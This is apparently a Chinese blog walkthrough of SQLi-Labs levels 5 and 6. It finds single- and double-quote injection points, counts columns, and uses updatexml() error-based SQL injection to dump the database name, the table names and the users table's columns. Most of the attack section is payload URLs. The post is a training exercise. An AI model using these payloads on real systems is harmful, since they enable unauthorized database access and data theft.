sqli-labs 靶场 less-5、6 第五关和第六关:判断注入点、使用错误函数注入爆库名、updatexml()函数

SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

database pic

Less 5

SQLI DUMB SERIES-5
判断注入点:
	1. 首先,尝试正常的回显内容,如?id=1。
	2. 接着,输入?id=1'来查看是否出现语句错误。如果出现,那么可能存在单引号的闭合问题。
判断当前表的字段数:
	 使用order by语句来判断当前表的字段数。例如,?id=1' order by 3--和?id=1' order by 4--,通过页面回显的结果来确定字段数。
使用错误函数注入爆库名:
	1. 既然没有直接的回显信息,您可以使用MySQL的updatexml()函数来触发错误并提取信息。updatexml()函数在第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
	2. 尝试使用类似?id=1' and updatexml(1, concat(0x7e, version()), 3)--的语句来提取数据库版本信息。
	3. 逐步构造更复杂的语句来提取其他信息,如数据库名、表名等。

判断注入点

通过测试可知使用单引号会使得系统报语法报错

http://sqli-labs.com/Less-5/
?id=1'

ur SQL syntax; check the manual that corresponds to your MySQL server version f
即使使用注释语句重新获取数据页面中也不回显数据。
u are in......
意味着只有报错的时候才会在页面显示数据,那么我们通过使用报错注释函数获取数据。
updatexml

updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
语法:updatexml(XML_document,XPath_string,new_value)
XML_document:是string格式,为XML文档对象的名称
XPath_string:代表路径,Xpath格式的字符串例如
new_value:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

注入

通过报错注入代码,查看数据库名称:

http://sqli-labs.com/Less-5/
?id=1' union select 1,2,updatexml(1,concat("~",database()),3) --+

XPATH syntax erro
获取该数据库的表名:

http://sqli-labs.com/Less-5/
?id=1' union select 1,2,updatexml(1,concat("~",
(select group_concat(table_name) from information_schema.tables where table_schema='security')
),3) --+

ls,referers,u
注入查询users表的列名:

http://sqli-labs.com/Less-5/
?id=1' union select 1,2,updatexml(1,concat("~",
(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')
),3) --+

sername,p

Less 6

SQLI DUMB SERIES-5
判断注入点:同第五关。
判断当前表的字段数:同第五关。
使用错误函数注入提取信息:同第五关。

判断注入点

输入双引号后报错的响应可知为闭合符号:

http://sqli-labs.com/Less-6/
?id=1" 

sqli dump
继续判断字段数量,当数字为3时没报错,得知为3个字段。

http://sqli-labs.com/Less-6/
?id=1" order by 3 --+

e    Dhak

注入

输入正确不返回数据,则我们通过错误函数注入获取数据库。

http://sqli-labs.com/Less-6/
?id=1" union select updatexml(1,concat('~',database()),3); --+

sqli dumb
在错误函数注入中输入语句,用于获取该数据库表名

http://sqli-labs.com/Less-6/
?id=1" union select 1,2,updatexml(1,concat('~',
(select group_concat(table_name) from information_schema.tables where table_schema=database())
),3); --+

_concat(table_na
注入获取数据表列名。

http://sqli-labs.com/Less-6/
?id=1" union select 1,2,updatexml(1,concat('~',
(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')
),3); --+

tabase()

系列文章

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-07 15:28:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-07 15:28:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-06-07 15:28:02       82 阅读
  4. Python语言-面向对象

    2024-06-07 15:28:02       91 阅读

热门阅读

  1. LeetCode102. 二叉树的层序遍历

    2024-06-07 15:28:02       24 阅读
  2. 好用的图片素材网

    2024-06-07 15:28:02       29 阅读
  3. 本地启动ollama大语言模型

    2024-06-07 15:28:02       32 阅读
  4. 【杂记-浅谈Internet、Intranet、Extranet】

    2024-06-07 15:28:02       30 阅读
  5. typedef 和 define 的区别和联系

    2024-06-07 15:28:02       26 阅读
  6. MyBatis-Plus中Page类源码及各个参数的具体含义

    2024-06-07 15:28:02       27 阅读
  7. Unity之UGUI合批规则

    2024-06-07 15:28:02       33 阅读
  8. 0基础学游戏编程:从入门到精通的挑战与收获

    2024-06-07 15:28:02       32 阅读